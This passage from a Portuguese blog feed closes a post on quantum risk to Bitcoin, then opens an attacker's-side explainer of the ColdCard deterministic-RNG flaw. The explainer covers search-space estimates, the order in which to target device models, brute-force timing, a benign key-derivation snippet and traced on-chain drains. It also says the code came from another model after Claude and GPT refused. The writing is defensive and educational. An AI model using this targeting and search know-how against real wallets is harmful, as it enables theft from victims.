    <a href="#o-que-a-ind%c3%bastria-pode-fazer-sem-radicalismo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Do lado de quem constrói os protocolos, a tentação é o extremo: &ldquo;larga tudo e vai pra assinatura pós-quântica amanhã&rdquo;. Isso é tão ruim quanto o &ldquo;ignora que é FUD&rdquo;. A criptografia pós-quântica é mais nova, menos testada em batalha, tem chave e assinatura muito maiores, e trocar às cegas introduz bug novo onde não tinha. O caminho sensato é defesa em profundidade, começando pelo que é barato.</p>
<p><strong>Medidas intermediárias, mais fáceis que a troca completa:</strong></p>
<ul>
<li>Matar o reuso de chave e minimizar exposição de chave pública no protocolo e nas carteiras por padrão.</li>
<li>Mempools privados e esquemas de commit-reveal, que fecham a janela do ataque no gasto.</li>
<li>Rotação de chave de validador no Ethereum, um paliativo simples contra o ataque ao consenso.</li>
<li>No Bitcoin, propostas como a BIP-360 (o script P2MR), que remove a exposição de chave em repouso do Taproot.</li>
</ul>
<p><strong>A ponte de médio prazo:</strong> assinaturas híbridas, que combinam a curva elíptica de hoje com um esquema pós-quântico (baseado em reticulados, por exemplo). Você fica protegido contra os dois mundos ao custo de assinaturas maiores, e não aposta tudo num esquema novo que pode ter fraqueza ainda não descoberta.</p>
<p><strong>O terreno já está mais maduro do que parece.</strong> O NIST já padronizou esquemas pós-quânticos (ML-DSA, o antigo Dilithium; Falcon; SPHINCS+). O Ethereum discute precompiles pós-quânticos (EIP-7932) e abstração de conta, que reduzem a superfície sem hard fork traumático. Blockchains como Algorand, XRP Ledger e o QRL já experimentam ou nasceram com PQC. O trilho dessa migração já está assentado, longe de ser um salto no escuro.</p>
<p><strong>E o pedaço que ninguém resolveu:</strong> os assets dormentes. As moedas P2PK perdidas, incluindo o ~1 milhão de BTC atribuído ao Satoshi, não têm dono pra migrá-las.</p>
<p>O paper discute opções — não fazer nada, queimar as moedas por soft fork, um &ldquo;sidechain de recuperação&rdquo;, ou até salvamento regulado por governo, na analogia de tesouro afundado.</p>
<p>Aqui eu sou franco: <strong>essa parte é a mais fraca do paper. É opinião política vestida de conclusão técnica.</strong> Nada na estimativa de qubits diz quem deve ficar com moeda perdida, ou se ficar cinco anos parado extingue direito de propriedade.</p>
<p>São escolhas políticas e jurídicas espinhosas, que o paper levanta com honestidade mas está longe de fechar. É bom que a conversa comece; é ruim tratar como se houvesse resposta pronta.</p>
<blockquote>
  <p><strong>A parte de política sobre moedas perdidas é a mais fraca do paper: ali a ciência para e começa a opinião.</strong></p>

</blockquote>
<h2>Onde a gente está, afinal<span class="hx:absolute hx:-mt-20" id="onde-a-gente-está-afinal"></span>
    <a href="#onde-a-gente-est%c3%a1-afinal" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Resumindo o cenário quântico do futuro próximo em três camadas, com a régua sempre calibrada:</p>
<table>
  <thead>
      <tr>
          <th>Camada</th>
          <th>Situação</th>
          <th>Leitura</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Teórico</strong></td>
          <td>Shor quebra a secp256k1 se a máquina existir</td>
          <td>Certeza matemática; a pergunta é quando a máquina existe</td>
      </tr>
      <tr>
          <td><strong>Realidade hoje (2026)</strong></td>
          <td>~12 qubits lógicos (Quantinuum); ataque pede &gt;1.200</td>
          <td>Fator de ~100 em qubits lógicos, várias ordens de grandeza em físicos. Ninguém rouba nada hoje</td>
      </tr>
      <tr>
          <td><strong>Próximos 2–3 anos (~2029)</strong></td>
          <td>Fora de qualquer roteiro público sério</td>
          <td>Risco perto de zero</td>
      </tr>
      <tr>
          <td><strong>2030–2032</strong></td>
          <td>Máquina capaz <em>em princípio</em> começa a ser plausível</td>
          <td>Estimativa de ~10–20%; roubo real menor ainda, alvos migram antes</td>
      </tr>
      <tr>
          <td><strong>~2035</strong></td>
          <td>Coin flip pra um CRQC genérico (especialistas: ~40–50%)</td>
          <td>&ldquo;Existe máquina&rdquo; ≠ &ldquo;roubaram você&rdquo;; migração deve estar andada</td>
      </tr>
  </tbody>
</table>
<p>O paper é sério e a matemática dele está de pé, agora confirmada por reprodução aberta e independente. A ameaça é real o suficiente pra justificar ação, e o motivo tem nome: o teorema do Mosca. Como migrar leva anos, você começa antes de a máquina existir, do mesmo jeito que se troca telhado antes do temporal, com tempo bom.</p>
<p>Mas nada nisso é &ldquo;vende tudo, o Bitcoin acabou&rdquo;. O ataque é sobre chave exposta, é um subconjunto de endereços, precisa de uma máquina que está a ordens de grandeza de existir, e as defesas que importam agora são higiene chata: não reusar endereço, não deixar reserva em chave exposta, e migrar pra pós-quântico quando a ferramenta amadurecer.</p>
<p>A mineração não corre risco, a sua carteira moderna sem reuso não corre risco hoje, e a passphrase mais forte do mundo não muda nada disso.</p>
<p>O jeito de ler o paper do Google é esse: um alerta competente e autoconsciente, feito por quem entende do assunto, dizendo que a janela pra migrar com calma é mais estreita do que a intuição sugere — e ainda assim mais larga do que a manchete faz parecer. <a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener">Leia direto na fonte</a> e tire a sua. Só não caia nem no &ldquo;acabou&rdquo; nem no &ldquo;é tudo mentira&rdquo;. A resposta interessante, como quase sempre, mora no meio.</p>
]]></content:encoded><category>computacao-quantica</category><category>bitcoin-e-criptomoedas</category><category>seguranca</category></item><item><title>Explorando o problema escandaloso do RNG da Coinkite</title><link>https://akitaonrails.github.io/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/</guid><pubDate>Sat, 01 Aug 2026 09:00:00 -0300</pubDate><description>&lt;p&gt;Ontem publiquei o alerta prático: &lt;a href="https://akitaonrails.github.io/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/"&gt;se você guarda Bitcoin em ColdCard, mova tudo&lt;/a&gt;. Hoje vou mostrar &lt;strong&gt;como&lt;/strong&gt; a coisa funciona do lado do atacante. Não é um tutorial pra roubar ninguém; é uma explicação didática sobre uma classe de bugs que pouca gente conhece por dentro, usando dados reais da blockchain e código que qualquer programador consegue ler.&lt;/p&gt;
&lt;p&gt;O código didático deste artigo foi gerado com &lt;strong&gt;Kimi K3&lt;/strong&gt;. É curioso notar que, ao mesmo prompt, tanto o &lt;strong&gt;Claude&lt;/strong&gt; quanto o &lt;strong&gt;GPT&lt;/strong&gt; se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Ontem publiquei o alerta prático: <a href="/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/">se você guarda Bitcoin em ColdCard, mova tudo</a>. Hoje vou mostrar <strong>como</strong> a coisa funciona do lado do atacante. Não é um tutorial pra roubar ninguém; é uma explicação didática sobre uma classe de bugs que pouca gente conhece por dentro, usando dados reais da blockchain e código que qualquer programador consegue ler.</p>
<p>O código didático deste artigo foi gerado com <strong>Kimi K3</strong>. É curioso notar que, ao mesmo prompt, tanto o <strong>Claude</strong> quanto o <strong>GPT</strong> se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.</p>
<p>O objetivo é responder, linha a linha, a uma pergunta que muita gente fez: &ldquo;se a ColdCard fica offline, como os bitcoins sumiram?&rdquo;.</p>
<blockquote>
  <p><strong>Aviso:</strong> o código aqui é educacional. Rodá-lo contra endereços que não são seus é crime. Use-o para entender o risco, testar seeds suas em ambiente controlado e reforçar por que você precisa gerar entropia nova.</p>

</blockquote>
<h2>O resumo do post anterior<span class="hx:absolute hx:-mt-20" id="o-resumo-do-post-anterior"></span>
    <a href="#o-resumo-do-post-anterior" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Entre março de 2021 e a correção de julho de 2026, vários firmwares da ColdCard geraram seeds a partir de um gerador determinístico em vez do TRNG de hardware. A culpa foi de uma integração errada: a macro <code>MICROPY_HW_ENABLE_RNG</code> foi definida como <code>0</code>, mas a guarda no <code>libNgU</code> usava <code>#ifndef</code>, que só pergunta se o símbolo existe. O build passou, a chamada <code>rng_get()</code> caiu no fallback de software <a href="http://www.literatecode.com/yasmarang"target="_blank" rel="noopener">Yasmarang</a> do MicroPython, e a seed passou a ser produzida a partir do UID do microcontrolador e de registradores de tempo.</p>
<p>Para quem não lida com hardware, vale traduzir essas siglas:</p>
<ul>
<li><strong>UID</strong> (<em>Unique Identifier</em>) é o número de série gravado de fábrica no chip do microcontrolador. No STM32F4 usado pela ColdCard, ele tem 96 bits — algo como <code>0x4A3F B201 C847 D5E9 1234 5678</code>. Cada chip sai da linha de montagem com um UID diferente, mas ele é fixo e pode ser lido por software. Se o atacante souber (ou puder restringir) esse número, ele já elimina uma das incógnitas.</li>
<li><strong>RTC</strong> (<em>Real-Time Clock</em>) é o relógio de tempo real do microcontrolador. Em um PC, esse relógio costuma ser mantido por uma bateria de botão e continua contando mesmo com a máquina desligada. <strong>A ColdCard não tem essa bateria.</strong> Nos Mk2/Mk3 o oscilador do RTC fica desabilitado durante a inicialização, o que sugere fortemente que os registradores <code>RTC-&gt;TR</code> e <code>RTC-&gt;SSR</code> leiam zero ou um valor estático toda vez que o aparelho liga &ldquo;frio&rdquo;. Nos Mk4/Q/Mk5 a fonte do RTC é configurada, mas marcada como não usada, e a inicialização do RTC pelo MicroPython continua desabilitada. Ou seja: o &ldquo;tempo&rdquo; não é uma fonte de entropia nova aqui — é mais um valor fixo ou previsível que o atacante pode perfilar.</li>
<li><strong>SysTick</strong> é outro timer, este dentro do próprio núcleo ARM, que conta em alta velocidade — tipicamente de 0 até <code>0x00FFFFFF</code> e volta a zero. Quando o firmware lê esse contador no momento da criação da seed, ele captura um valor como <code>0x003D7A12</code>. Como o RTC provavelmente não varia entre boots frios, o SysTick vira praticamente o único elemento dinâmico do estado inicial. A <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> estima que, sozinho, ele pode limitar o espaço a ~80 mil possibilidades (~16 bits).</li>
</ul>
<p>A análise da <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> e o <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">backgrounder técnico da Coinkite</a> concordam no mecanismo, embora difiram nos detalhes de impacto. O post de ontem tem a tabela completa de firmwares afetados.</p>
<p>O ponto central é: <strong>a entropia efetiva caiu de pelo menos 128 bits para algo na casa de 40 bits no Mk3 e 72 bits (com ressalvas) nos modelos mais novos.</strong> Quarenta bits não são seguros. São enumeráveis com hardware barato.</p>
<h2>A carteira não fica &ldquo;dentro&rdquo; da ColdCard<span class="hx:absolute hx:-mt-20" id="a-carteira-não-fica-dentro-da-coldcard"></span>
    <a href="#a-carteira-n%c3%a3o-fica-dentro-da-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes de entrar no ataque, vale repetir o básico. Bitcoin não fica dentro do aparelho. A blockchain pública contém UTXOs — outputs de transações — bloqueados por scripts. O que sua wallet guarda é o material para produzir assinaturas que satisfazem esses scripts.</p>
<p>No caso mais comum, um endereço SegWit nativo é derivado de uma chave pública, que por sua vez vem de uma chave privada, que é só um número inteiro dentro do domínio da curva <code>secp256k1</code>. Quem conhece o número pode assinar. Quem não conhece, não consegue.</p>
<p>Por isso a ColdCard pode estar desligada, sem bateria, dentro de um cofre. O atacante não precisa tocá-la. Ele só precisa reproduzir o mesmo número inteiro que ela sorteou. Com um RNG fraco, isso deixa de ser impossível e vira busca em espaço pequeno.</p>
<p>Você pode ver qualquer wallet na blockchain. Basta colar um endereço ou xpub em um explorador como o <a href="https://mempool.space"target="_blank" rel="noopener">mempool.space</a>. O explorador mostra saldo, UTXOs e histórico porque esses dados são públicos por design. A ColdCard, a Ledger, o Sparrow, o Electrum — nenhum deles &ldquo;segura&rdquo; seus bitcoins; eles apenas guardam as chaves que permitem gastar os UTXOs que estão no livro-razão global.</p>
<h2>Como o atacante prioriza os modelos<span class="hx:absolute hx:-mt-20" id="como-o-atacante-prioriza-os-modelos"></span>
    <a href="#como-o-atacante-prioriza-os-modelos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Nem todos os modelos são igualmente fáceis de atacar. A ordem de prioridade segue o tamanho do espaço de busca:</p>
<table>
  <thead>
      <tr>
          <th>Modelo / firmware</th>
          <th>O que o atacante precisa adivinhar</th>
          <th>Espaço aproximado</th>
          <th>Prioridade</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2/Mk3 v4.0.0–v4.1.9</td>
          <td>UID do chip, estado dos timers, histórico de chamadas ao RNG</td>
          <td>~40 bits no modelo da Coinkite; determinístico se tudo for conhecido</td>
          <td><strong>1º — atacar primeiro</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 sem reseed bem-sucedido</td>
          <td>Mesmo fallback de cima, com possível falha silenciosa no secure element</td>
          <td>~41 bits</td>
          <td><strong>2º</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 com reseed normal</td>
          <td>Estado do fallback + 32 bits do secure element</td>
          <td>~72 bits brutos, sendo 32 bits de verdadeiro segredo adicionado</td>
          <td><strong>3º — mais caro</strong></td>
      </tr>
      <tr>
          <td>Mk1; Mk2/Mk3 até v3.2.2</td>
          <td>TRNG de hardware funcionando</td>
          <td>~256 bits</td>
          <td>inatingível</td>
      </tr>
  </tbody>
</table>
<p>Por que o Mk3 é o mais fácil? Porque nele não há nenhuma contribuição criptográfica de um secure element. O fallback Yasmarang é totalmente determinístico dado o UID e o estado do timer. Se o atacante souber (ou puder restringir) esses valores, não existe segredo residual. A Coinkite estima o espaço efetivo em cerca de 40 bits; a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> mostra que, como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, o SysTick sozinho limita o espaço a ~80 mil valores, ou seja, ~16 bits.</p>
<p>Nos Mk4/Q/Mk5 o reseed do secure element acrescenta 32 bits. Isso é o suficiente para tornar o ataque muito mais caro — mas ainda longe dos 128 bits mínimos aceitáveis. Além disso, a Block aponta um caminho no fonte em que uma exceção capturada durante a inicialização pode fazer o reseed não acontecer, caindo de volta no espaço menor.</p>
<p>O atacante racional começa pelo maior retorno: Mk2/Mk3 v4. Depois parte para Mk4/Q/Mk5 apenas se tiver recursos sobrando.</p>
<h2>128 bits, 40 bits e 72 bits: qual é a diferença?<span class="hx:absolute hx:-mt-20" id="128-bits-40-bits-e-72-bits-qual-é-a-diferença"></span>
    <a href="#128-bits-40-bits-e-72-bits-qual-%c3%a9-a-diferen%c3%a7a" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bits medem o tamanho do espaço de busca. Cada bit a mais dobra o trabalho. A diferença não é pequena — é exponencial.</p>
<p>Imagine que você consegue testar <strong>1 bilhão de candidatos por segundo</strong>:</p>
<table>
  <thead>
      <tr>
          <th>Bits</th>
          <th>Candidatos</th>
          <th>Tempo para varrer tudo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>40</td>
          <td>~1,1 trilhão</td>
          <td>~18 minutos</td>
      </tr>
      <tr>
          <td>72</td>
          <td>~4,7 sextilhões</td>
          <td>~150 mil anos</td>
      </tr>
      <tr>
          <td>128</td>
          <td>~3,4 × 10³⁸</td>
          <td>~10²² anos (muitas ordens de magnitude além da idade do universo)</td>
      </tr>
  </tbody>
</table>
<p>Outra forma de enxergar: 40 bits é como procurar uma folha específica em uma pequena floresta. 72 bits é como procurar um grão de areia específico em todas as praias do planeta. 128 bits é como procurar um átomo específico entre todos os átomos de milhares de planetas.</p>
<p>Por isso 40 bits não são &ldquo;um pouco menos seguros&rdquo; que 128. São uma categoria completamente diferente: passível de ataque prático com hardware comum. 72 bits já exige recursos sérios, mas ainda está abaixo do mínimo aceitável para guardar valor. 128 bits é o padrão porque, com a computação conhecida, não dá para vencer.</p>
<h2>De um número inteiro para uma wallet<span class="hx:absolute hx:-mt-20" id="de-um-número-inteiro-para-uma-wallet"></span>
    <a href="#de-um-n%c3%bamero-inteiro-para-uma-wallet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Abaixo, um exemplo real de como um número (a entropia) vira seed, chave privada e endereço. Usei 16 bytes (128 bits) só para caber numa linha; a ColdCard usava 32 bytes, mas a ideia é a mesma.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_from_bytes</span><span class="p">,</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.script</span> <span class="kn">import</span> <span class="n">p2wpkh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">entropy</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;0123456789abcdef0123456789abcdef&#34;</span><span class="p">)</span>  <span class="c1"># 128 bits</span>
</span></span><span class="line"><span class="cl"><span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Saída:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">entropia (128 bits): 0123456789abcdef0123456789abcdef
</span></span><span class="line"><span class="cl">mnemonic (12 palavras): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
</span></span><span class="line"><span class="cl">seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
</span></span><span class="line"><span class="cl">root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
</span></span><span class="line"><span class="cl">chave privada (número inteiro): 1332683685242456724974769347593961509584253593377187298409830148921683854281
</span></span><span class="line"><span class="cl">endereço: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A chave privada é só um número inteiro. A partir dele, a <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">curva elíptica</a> calcula a chave pública; a chave pública é hasheada até virar o endereço. O endereço é o que aparece na blockchain; o número inteiro é o que permite gastar.</p>
<p>No caso ColdCard, o número inteiro não tinha 128 bits de aleatoriedade real. Tinha ~40. Então, em vez de procurar uma agulha no universo, o atacante procurava uma agulha em uma floresta pequena.</p>
<h2>Evidência real na blockchain<span class="hx:absolute hx:-mt-20" id="evidência-real-na-blockchain"></span>
    <a href="#evid%c3%aancia-real-na-blockchain" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não estou inventando números. O site independente <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch.vercel.app</a> vem rastreando os drains transação a transação e publica o mínimo verificado: <strong>1.128,6633 BTC</strong> drenados de <strong>2.334 endereços</strong> confirmados. O próprio site deixa claro que esses são <strong>mínimos verificados, não totais</strong> — outras clusters provavelmente existem.</p>
<p>Ele identifica dois episódios de drenagem:</p>
<ul>
<li><strong>30 de julho de 2026</strong>, blocos <strong>960183 a 960191</strong> — 1.195 endereços drenados.</li>
<li><strong>31 de julho de 2026</strong>, blocos <strong>960345 a 960369</strong> — 1.126 endereços drenados.</li>
</ul>
<p>Os principais clusters públicos que compõem esse mínimo incluem:</p>
<ul>
<li><a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"><code>bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0</code></a> — <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">recebeu 594,47723261 BTC</a> em 501 outputs.</li>
<li><a href="https://mempool.space/address/bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3"target="_blank" rel="noopener"><code>bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3</code></a> — <a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener">recebeu ~398,476 BTC</a> em uma única transação com 491 inputs (<a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener"><code>14edd9ee...</code></a>).</li>
<li><a href="https://mempool.space/address/bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q"target="_blank" rel="noopener"><code>bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q</code></a> — <a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener">recebeu ~89,623 BTC</a> em uma única transação com 204 inputs (<a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener"><code>4b50d61a...</code></a>).</li>
</ul>
<p>Só esses três clusters já somam ~1.082 BTC; as demais transações verificadas levam o total mínimo para <strong>1.128,6633 BTC</strong>.</p>
<blockquote>
  <p>O primeiro cluster transferiu ~562 BTC para <a href="https://mempool.space/address/bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r"target="_blank" rel="noopener"><code>bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r</code></a>; é o mesmo dinheiro, não uma quarta vítima.</p>

</blockquote>
<p>Um exemplo concreto: a transação <a href="https://mempool.space/tx/78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d"target="_blank" rel="noopener"><code>78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d</code></a> consolida três inputs do mesmo endereço vulnerável <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, sendo um deles de quase <strong>29,9 BTC</strong>. Os três inputs usam a mesma chave pública comprimida:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou seja, três UTXOs diferentes, mesmo dono, mesma chave privada. O atacante encontrou essa chave e assinou tudo de uma vez.</p>
<p>Outros endereços de origem com valores expressivos incluem <a href="https://mempool.space/address/bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf"target="_blank" rel="noopener"><code>bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf</code></a> (~24,08 BTC), <a href="https://mempool.space/address/bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5"target="_blank" rel="noopener"><code>bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5</code></a> (~14,43 BTC) e <a href="https://mempool.space/address/bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw"target="_blank" rel="noopener"><code>bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw</code></a> (~11,74 BTC). Você pode clicar em cada um e ver os UTXOs sendo movidos para um endereço de consolidação.</p>
<p>A Bitcoin Optech <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">edição 416</a> estimava perdas acima de 1.000 BTC enquanto o caso se desenrolava; o rastreamento independente agora confirma <strong>pelo menos 1.128,6633 BTC</strong> roubados.</p>
<h2>O que a timeline na blockchain sugere sobre a ordem do ataque<span class="hx:absolute hx:-mt-20" id="o-que-a-timeline-na-blockchain-sugere-sobre-a-ordem-do-ataque"></span>
    <a href="#o-que-a-timeline-na-blockchain-sugere-sobre-a-ordem-do-ataque" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch</a> mostra <strong>dois episódios distintos</strong>, separados por mais de 24 horas. O primeiro aconteceu entre os blocos 960183 e 960191 (30 de julho, por volta de 01:10 UTC); o segundo, entre 960345 e 960369 (31 de julho). Dentro do primeiro episódio, os três grandes clusters (~594, ~398 e ~89 BTC) foram minerados em blocos consecutivos — portanto, dentro de cada onda as varreduras foram disparadas praticamente ao mesmo tempo.</p>
<p>Essa forma de ondas separadas é compatível com duas interpretações:</p>
<ol>
<li><strong>Mesmo atacante, pré-computação em lotes.</strong> A primeira onda pega os alvos mais fáceis e mais bem financiados; a segunda onda vem de um segundo lote de candidatos já pré-computados.</li>
<li><strong>Múltiplos atacantes.</strong> Depois que a falha se tornou pública, outros atores entraram com seus próprios dicionários de estados prováveis.</li>
</ol>
<p>Em qualquer um dos casos, a economia do ataque favorece a ordem da tabela anterior. O Mk2/Mk3 v4 é o melhor custo-benefício:</p>
<ul>
<li><strong>~40 bits efetivos</strong> ≈ 2^40 ≈ <strong>1,1 trilhão</strong> de estados candidatos.</li>
<li>Numa GPU que teste 1 milhão de candidatos por segundo (incluindo derivação BIP32 e consulta ao explorer), levaria cerca de <strong>13 dias</strong> para varrer tudo. Com 100 GPUs/FPGAs, cai para <strong>poucas horas</strong>.</li>
<li>Como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, conforme a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> aponta, o SysTick sozinho reduz o espaço a ~80 mil valores (~16 bits), tornando a busca trivial em segundos.</li>
</ul>
<p>Mk4/Q/Mk5 com reseed depende do quanto o fallback é conhecido:</p>
<ul>
